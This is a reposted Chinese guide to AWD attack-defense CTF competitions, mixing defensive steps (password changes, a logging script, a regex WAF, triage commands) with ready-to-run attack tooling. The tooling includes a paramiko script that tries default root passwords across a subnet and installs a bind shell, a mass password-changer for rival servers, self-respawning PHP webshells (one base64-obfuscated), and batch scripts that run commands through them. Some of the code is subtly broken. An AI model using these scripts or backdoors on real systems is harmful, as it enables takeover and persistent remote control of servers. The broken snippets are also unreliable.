查看比赛信息、规则

注意赛方的限制比如说提交flag的间隔时间,flag的获取方式,通防的限制,对后门的处理要求等要注意的点,避免check丢分

改密码

awd模式每个队伍会有若干台服务器需要维护,如果主办方平台给的密码较为简单存在弱口令或者可能被爆破成功的机会,尽快修改密码,密码主要是三个方面:

  • ssh连接密码即本地密码
passwd {用户名}
做修改即可
  • MySQL登录密码
1. 使用 SET PASSWORD 命令
步骤 1):输入命令mysql -u root -p指定 root 用户登录 MySQL,输入后按回车键输入密码。如果没有配置环境变量,请在 MySQL 的 bin 目录下登录操作。

步骤 2):使用 SET PASSWORD 修改密码命令格式为 set password for username @localhost = password(newpwd);
,其中 username 为要修改密码的用户名,newpwd 为要修改的新密码。

2. 使用mysqladmin修改密码
使用 mysqladmin 命令修改 MySQL 的 root 用户密码格式为 mysqladmin -u用户名 -p旧密码 password 新密码。

注意:修改密码的命令中 -uroot 和 -proot 是整体,不要写成 -u root -p root,-u 和 root 间可以加空格,但是会有警告出现,所以就不要加空格了。

3. UPDATE直接编辑user表
步骤 1):输入命令mysql -u root -p指定 root 用户登录 MySQL,输入后按回车键输入密码。如果没有配置环境变量,请在 MySQL 的 bin 目录下登录操作。

步骤 2):输入use mysql;命令连接权限数据库。

步骤 3):输入命令update mysql.user set authentication_string=password('新密码') where user='用户名' and Host ='localhost';设置新密码。

步骤 4):输入 flush privileges; 命令刷新权限。

步骤 5):输入quit;命令退出 MySQL 重新登录,此时密码已经修改为刚才输入的新密码了。
  • 后台的登录密码
updata admin set user pass=’123456’;

如果密码是默认的尝试别人的能否登录

#-*- coding:utf-8 -*-
import paramiko

ip = '192.168.1.137'
port = '22'
username = 'root'
passwd = 'toor'
# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):
    port = int(port)
    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()
    if not result :
        print("无结果!")
        result = stderr.read()
    ssh.close()
    
    return result.decode()
    
a = ssh_base_pwd(ip,port,username,passwd)
print(a)

如果可以登录而且有python环境可以尝试使用下面这个python批量ssh登录并反弹python shell

#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反弹shell python

q=queue.Queue()
#lock = threading.Lock()

# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd):
    port = int(port)
    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()
    if not result :
        result = stderr.read()
    ssh.close()
    
    return result.decode()

def main(x):
    shell = '''
    #服务器端
    import socket
    import os
    s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
    s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
    con,addr=s.accept()     #接受一个客户端的连接
    #print(con,addr)

    for i in range(10):
        cmd=con.recv(1024)
        print(cmd)
        command=cmd.decode()
        if command.startswith('cd'):
            os.chdir(command[2:].strip())   #切换路径
            result=os.getcwd()      #显示路径
        else:
            result=os.popen(command).read()
        if result:
            con.send(result.encode())
        else:
            con.send(b'OK!')
    '''
    cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'
    port = '22'
    username = 'root'
    passwd = 'toor'
    
    ip = '192.168.1.{}'.format(x)
    q.put(ip.strip(),block=True, timeout=None)
    ip_demo=q.get()
    #判断是否成功
    try:
        #lock.acquire()
        res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
        if res:
            print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
            #lock.release()
            ssh_base_pwd(ip_demo,port,username,passwd,cmd)
    except:
        print("[ - ]Ip: %s" % ip_demo +" is Failed")
    if x > 255:
        print("Finshed!!!!!!!!")
    q.task_done()
    
#线程队列部分
th=[]
th_num=255
for x in range(th_num):
        t=threading.Thread(target=main,args=(x,))
        th.append(t)
for x in range(th_num):
        th[x].start()
for x in range(th_num):
        th[x].join()
        

#q.join()所有任务完成

我们改密码是为了防止被别人弱口令爆破,或者密码是默认的情况导致服务器丢失,这里我们也可以尝试去更改别人的密码

import paramiko
import sys

ssh_clients = []
timeout = 5
new_password = "xcxy@ncwss123"


class SSH_Client():
    def __init__(self, host, port, username, password):
        self.is_root = False
        self.host = host
        self.port = port
        self.username = username
        self.password = password
        self.ssh = paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout)

    def exec_command(self, command):
        stdin, stdout, stderr = self.ssh.exec_command(command)
        return stdin, stdout, stderr

    def change_password(self):
        stdin, stdout, stderr = self.exec_command("passwd")
        if self.username != "root":
            stdin.write("%s\n" % self.password)
        stdin.write("%s\n" % new_password)
        stdin.write("%s\n" % new_password)
        stdout.read()
        if "success" in stderr.read().decode('utf-8'):
            self.password = new_password
            return True
        else:
            return False

    def save_log(self, filename):
        with open(filename, "a+") as f:
            f.write("%s %s %s %s\n" % (self.host, self.port, self.username, self.password))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage:")
        print("\t python %s [FILENAME]" % (sys.argv[0]))
        exit(1)
    filename = sys.argv[1]
    print(" [+] Loading file : %s" % filename)
    with open(filename) as f:
        for line in f:
            line = line.rstrip("\n")
            data = line.split(" ")
            host = data[0]
            port = int(data[1])
            username = data[2]
            password = data[3]
            print(" [+] Trying login : %s" % host)
            try:
                ssh_client = SSH_Client(host, port, username, password)
            except Exception as e:
                print(" [-] %s" % e)
                continue
            ssh_clients.append(ssh_client)
    print(" [+] Login finished. ")
    print(" [+} Got [%d] clients. " % len(ssh_clients))
    if len(ssh_clients) == 0:
        exit()
    print(" [+] Starting changing password. ")
    for ssh_client in ssh_clients:
        if ssh_client.change_password():
            print(" [+] %s (Success!)" % ssh_client.host)
            ssh_client.save_log("success.log")
        else:
            print(" [+] %s (Failed!)" % ssh_client.host)
    print(" [+] something like interesting!!! ")

下载源码,备份

使用ssh工具保留源码,复制两份,用d盾去扫一份
以免网站崩溃的时候无法及时恢复,导致check丢分

防御

上面提到我们将源码down下来后利用d盾等工具扫描,将爆出来的shell注释修改或者删除等(具体怎么改根据比赛要求)

接着就是监控脚本

<?php

error_reporting(0); 
define('LOG_FILEDIR','/tmp/loooooooogs');//日志文件目录
if(!is_dir(LOG_FILEDIR)){//如果目录不存在则创建
	mkdir(LOG_FILEDIR);//创建目录
}
function waf() 
{ 
if (!function_exists('getallheaders')) { 
function getallheaders() { //获取所有的头信息
foreach ($_SERVER as $name => $value) { //循环获取所有的头信息
if (substr($name, 0, 5) == 'HTTP_') 
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;//将头信息的名称替换为小写,并将下划线替换为空格
} 
return $headers; 
} 
} 
$get = $_GET;//获取get参数 
$post = $_POST; //获取post参数
$cookie = $_COOKIE; //获取cookie参数
$header = getallheaders(); //获取所有的头信息
$files = $_FILES; //获取所有的上传文件信息
$ip = $_SERVER["REMOTE_ADDR"]; //获取客户端ip
$method = $_SERVER['REQUEST_METHOD']; //获取请求方式
$filepath = $_SERVER["SCRIPT_NAME"]; //获取文件路径
foreach ($_FILES as $key => $value) { //循环获取所有的上传文件信息
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); // 获取文件内容
file_put_contents($_FILES[$key]['tmp_name'], "virink"); //写入文件
}

unset($header['Accept']);//删除头信息中的Accept
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);//将所有的参数合并成一个数组

logging($input);//调用日志函数

}

function logging($var){ //日志函数
$filename = $_SERVER['REMOTE_ADDR'];//获取客户端ip
$LOG_FILENAME = LOG_FILEDIR."/".$filename;//日志文件路径
$time = date("Y-m-d G:i:s");//获取当前时间
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND); //写入日志文件

file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);//写入日志文件

file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);//写入日志文件
}

waf(); 
?>

如果可以我们还可以上通防(一般都是不行)

<!-- 
require_once('waf.php')

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php
-->

<?php

function customError($errno, $errstr, $errfile, $errline) {
	echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
	die();
}

set_error_handler("customError", E_ERROR);
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1.6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function DefendAttack($StrFiltKey, $StrFiltValue, $ArrFiltReq) {
	if(is_array($StrFiltValue)) {
		$StrFiltValue = implode($StrFiltValue);
	}
	if(preg_match("/".$ArrFiltReq."/is", $StrFiltValue)==1) {
		//slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面: ".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交参数: ".$StrFiltValue);
		print "360WebSec notice: Illegal operation!";
		exit();
	}
}
//$ArrPGC = array_merge($_GET, $_POST, $_COOKIE);
foreach ($_GET as $key => $value) {
	DefendAttack($key, $value, $getfilter);
}
foreach ($_POST as $key => $value) {
	DefendAttack($key, $value, $postfilter);
}
foreach ($_COOKIE as $key => $value) {
	DefendAttack($key, $value, $cookiefilter);
}

if (file_exists(filename)) {
	# code...
}

function slog($logs) {
	$toppath = $_SERVER["DOCUMENT_ROOT"]."/log.htm";
	$Ts=fopen($toppath, "a+");
	fputs($Ts, $logs."\r\n");
	fclose($Ts);
}

?>

对于别人上传过来的不死马进行处理

  • 杀死进程,可以使用 ps aux 命令 列出所有进程,找到要杀掉的进程运用命令,kill pid 就可以了
  • 通过条件竞争写入无效内容或者删除不死马文件,代码如下(竞争写入无关内容,config是木马名)
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.config.php';
    $code = '???';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .config.php');
        usleep(50);
    }
?>

当然最好的防御还是攻击

利用漏洞攻击

d盾扫出来的shell只要手快还是可以先打一波的,可以在赛前提前写好简单的shell利用批量化脚本

import fontTools.afmLib
import requests
import json
import re

with open("url.txt","r") as url1:
    data=url1.readlines()

paylaod2 = {"flag": ""}
header2 = {
    "token": "",
    "Cookie": ""}
#平台url
url2 = ""
while True:
    for i in data:
        urlpro="http://{}/.a.php?c=system('cat /flag.txt');".format(i)
        res=requests.get(urlpro)
        #print(urlpro)
        p=re.compile("flag.*}")
        a="".join(p.findall(res.text))
        print(a)
        paylaod2["flag"] = a
        # print(paylaod2)
        # post请求
        res2 = requests.post(url2, paylaod2, headers=header2)

当然这样可能只能拿到一轮的分数,所以我们可以上传不死马,下面是一个常用的MD5不死马

<?php
    ignore_user_abort(true);//设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
    set_time_limit(0);//设置脚本最大执行时间,这里设置为0,即没有时间方面的限制
    unlink(__FILE__);//删除文件本身,以起到隐蔽自身的作用
    $file = '.config.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[xcu]);} ?>';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .config2.php');
		system('chmod 777 .config.php');
        usleep(0);
    }//while循环中每隔usleep(0)即写新的后门文件,system命令用于修改文件的创建时间或修改时间,因为在AWD比赛中有的队伍使用
?>
import time

import requests
import json

with open("url.txt", "r") as f:
    data = f.readlines()
    print(data)


nodie = "PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOwokZmlsZT0iLmNvbmZpZzEucGhwIjsKJHNoZWxsPSJQRDl3YUhBZ0pHWmtlVUk5WTNKbFlYUmxYMloxYm1OMGFXOXVLSE4wY2w5eWIzUXhNeWduSkNjcExtSmhjMlUyTkY5a1pXTnZaR1VvSjJOM1BUMG5LUzV6ZEhKZmNtOTBNVE1vSjJJbktTNWphSElvTUhnMlpqaGxMekI0TVRBMktTNWlZWE5sTmpSZlpHVmpiMlJsS0NkYVVUMDlKeWtzWTJoeUtEQjRNVFpqWmpFdk1IZ3pPV1FwTG1Ob2NpZ3hNRFk1TURndk9UQTJLUzVpWVhObE5qUmZaR1ZqYjJSbEtDZFpVVDA5SnlrdVkyaHlLREF5TXpZMU1EQXZNREV6TmpBcExuTjBjbDl5YjNReE15Z25LQ2NwTG1Ob2NpZ3dNVEEwTnkwd01UQXdNeWt1YzNSeVgzSnZkREV6S0NkbUp5a3VjM1J5WDNKdmRERXpLQ2RpSnlrdVltRnpaVFkwWDJSbFkyOWtaU2duWWxFOVBTY3BMbUpoYzJVMk5GOWtaV052WkdVb0oxcFJQVDBuS1M1aVlYTmxOalJmWkdWamIyUmxLQ2RMVVQwOUp5a3VjM1J5WDNKdmRERXpLQ2M3SnlrcE95Um1aSGxDS0dKaGMyVTJORjlrWldOdlpHVW9KMDFVVFRKTkp5NG5lbU4zVHpBbkxpZENiR1JyUmljdUozTkxRMUptSnk0bkp5NWphSElvTURFek5USXRNREV5TWpVcExtTm9jaWcyT0RNeE1DODVPVEFwTG1Ob2NpZ3dlR05qT1dZdk1IZ3pPVGNwTG1KaGMyVTJORjlrWldOdlpHVW9KMVpCUFQwbktTNXpkSEpmY205ME1UTW9KMGtuS1M0bkp5NG5KeTVqYUhJb09EQTNMVGN6TnlrdWMzUnlYM0p2ZERFektDZG5KeWt1WTJoeUtEVXdOVFEwTHprM01pa3VZMmh5S0RCNE16Rm1MVEI0TW1NMktTNWphSElvTURjME5EUXdMekF4TVRRd0tTNG5KeTRuVm1STFZITW5MaWN3VFVScmVDY3VKMDFVUVRjbkxpY25LU2s3UHo0PSI7CndoaWxlKDEpCntmaWxlX3B1dF9jb250ZW50cygkZmlsZSxiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwogICAgc3lzdGVtKCdjaG1vZCA3NzcgLmNvbmZpZy5waHAnKTsKICAgIHRvdWNoKCIuY29uZmlnLnBocCIpOwogICAgdXNsZWVwKDUwKTt9Owo="
poc = "fputs(fopen('/var/www/html/nodie.php','w'),base64_decode('PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOwokZmlsZT0iLmNvbmZpZzEucGhwIjsKJHNoZWxsPSJQRDl3YUhBZ0pHWmtlVUk5WTNKbFlYUmxYMloxYm1OMGFXOXVLSE4wY2w5eWIzUXhNeWduSkNjcExtSmhjMlUyTkY5a1pXTnZaR1VvSjJOM1BUMG5LUzV6ZEhKZmNtOTBNVE1vSjJJbktTNWphSElvTUhnMlpqaGxMekI0TVRBMktTNWlZWE5sTmpSZlpHVmpiMlJsS0NkYVVUMDlKeWtzWTJoeUtEQjRNVFpqWmpFdk1IZ3pPV1FwTG1Ob2NpZ3hNRFk1TURndk9UQTJLUzVpWVhObE5qUmZaR1ZqYjJSbEtDZFpVVDA5SnlrdVkyaHlLREF5TXpZMU1EQXZNREV6TmpBcExuTjBjbDl5YjNReE15Z25LQ2NwTG1Ob2NpZ3dNVEEwTnkwd01UQXdNeWt1YzNSeVgzSnZkREV6S0NkbUp5a3VjM1J5WDNKdmRERXpLQ2RpSnlrdVltRnpaVFkwWDJSbFkyOWtaU2duWWxFOVBTY3BMbUpoYzJVMk5GOWtaV052WkdVb0oxcFJQVDBuS1M1aVlYTmxOalJmWkdWamIyUmxLQ2RMVVQwOUp5a3VjM1J5WDNKdmRERXpLQ2M3SnlrcE95Um1aSGxDS0dKaGMyVTJORjlrWldOdlpHVW9KMDFVVFRKTkp5NG5lbU4zVHpBbkxpZENiR1JyUmljdUozTkxRMUptSnk0bkp5NWphSElvTURFek5USXRNREV5TWpVcExtTm9jaWcyT0RNeE1DODVPVEFwTG1Ob2NpZ3dlR05qT1dZdk1IZ3pPVGNwTG1KaGMyVTJORjlrWldOdlpHVW9KMVpCUFQwbktTNXpkSEpmY205ME1UTW9KMGtuS1M0bkp5NG5KeTVqYUhJb09EQTNMVGN6TnlrdWMzUnlYM0p2ZERFektDZG5KeWt1WTJoeUtEVXdOVFEwTHprM01pa3VZMmh5S0RCNE16Rm1MVEI0TW1NMktTNWphSElvTURjME5EUXdMekF4TVRRd0tTNG5KeTRuVm1STFZITW5MaWN3VFVScmVDY3VKMDFVUVRjbkxpY25LU2s3UHo0PSI7CndoaWxlKDEpCntmaWxlX3B1dF9jb250ZW50cygkZmlsZSxiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwogICAgc3lzdGVtKCdjaG1vZCA3NzcgLmNvbmZpZy5waHAnKTsKICAgIHRvdWNoKCIuY29uZmlnLnBocCIpOwogICAgdXNsZWVwKDUwKTt9Owo='));"

header2={"token":"",
         "Cookie":""}
#提交flag
url4=""

payload2={"flag":""}
payload3={"xcu":"system('cat /flag.txt');"}
while True:
    for i in data:
        #执行命令
        url1 = "http://{}?a="+poc.format(i)
        #print(url1)
        res1 = requests.get(url1)
        url2 = "http://{}/nodie.php".format(i)
        #print(url2)
        res2 = requests.get(url2)
        url3 = "http://{}/.config1.php".format(i)
        #print(url3)
        res3 = requests.post(url3,payload3)
        p = res3.compile("flag.*}")
        a = "".join(p.findall(res.text))
        #print(a)
        # 将a存入paylaod2中
        paylaod2["flag"] = a
        #time.sleep(1)
        # print(paylaod2)
        # post请求
        res2 = requests.post(url4, paylaod2, headers=header2)
        time.sleep(10)

防护常见命令

1 ssh <-p 端口> username@ip

2 scp 文件路径 username@ip:存放路径

3 cat /root/.bash_history

4 #显示最近登录的5个帐号

5 last -n 5|awk '{print $1}'

6 #显示/etc/passwd的账户

7 cat /etc/passwd|awk -F ':' '{print $1}'

8 #查看UID为0的帐号

9 awk -F: '{if($3==0)print $1}' /etc/passwd10 #查找777的权限的文件

11 find . -name "*.php" -perm 4777

12 #查找24小时内被修改的PHP文件

13 find ./ -mtime 0 -name "*.php"

14 #查看进程

15 ps aux | grep pid或者进程名

16 #查看已建立的网络连接及进程

17 netstat -antulp | grep EST

18 #查看指定端口被哪个进程占用

19 lsof -i:端口号 或者 netstat -tunlp|grep 端口号

20 #结束进程命令

21 kill PID

22 killall <进程名>

23 pkill <进程名>

24 pkill -u用户名

25 #封杀某个IP或者ip段

26 iptables -I INPUT -s source_ip[/mask] -j DROP

27 #禁止从某个主机ssh远程访问登陆到本机

28 iptable -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP

29 #备份mysql数据库

30 mysqldump -u 用户名 -p 密码 数据库名 > bak.sql

31 mysqldump --all-databases > bak.sql

32 #还原mysql数据库

33 mysql -u 用户名 -p 密码 数据库名 < bak.sql

34 #定时任务,在固定的时间间隔执行指定的系统指令或shell script

35 crontab [-u user] file_name

36 crontab [-u user] [-e |-l| -r]

37 #检测所有的tcp连接数量及状态

38 netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn

39 #查看页面访问排名前十的IP

40 cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k -r|head -

41 #查看页面访问排名前十的URL

42 cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k -r|head -

最后

是要做一名合格的搅屎棍

恶心别人,核心就是发送大量垃圾数据包给别人 ,让别人无法正常观察流量捕捉payload ,此招就是干扰对手利用他人的payload 给对手造成干扰。但是有些比赛可能也会禁止。

我们拿到shell后在规则允许的情况我们可以删除别人的文件,别人check丢分也相当于自己加分。

import requests
import time

def scan_attack():
    file={'shell.php','x.php','index.php','web.php','1.php'}
    payload={'cat /flag','ls -al','rm -f','echo 1'}
    while(1):
        for i in range(8802, 8804):
            for ii in file:
                url='http://192.168.76.156:'+ str(i)+'/'+ii
                for iii in payload:
                    data={
                        'payload':iii
                    }
                    try:
                        requests.post(url,data=data)
                        print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)
                        time.sleep(0.5)
                    except Exception as e:
                        time.sleep(0.5)
                        pass


if __name__ == '__main__':
    scan_attack()

最后的最后,准备-漏洞资源-漏洞资料库(比赛能不能联网无法确定,如刚结束的河南省赛,虽然允许联网,但是大部分博客平台被加入了黑名单)

原文地址:http://www.cnblogs.com/LQ-Joker/p/16820104.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性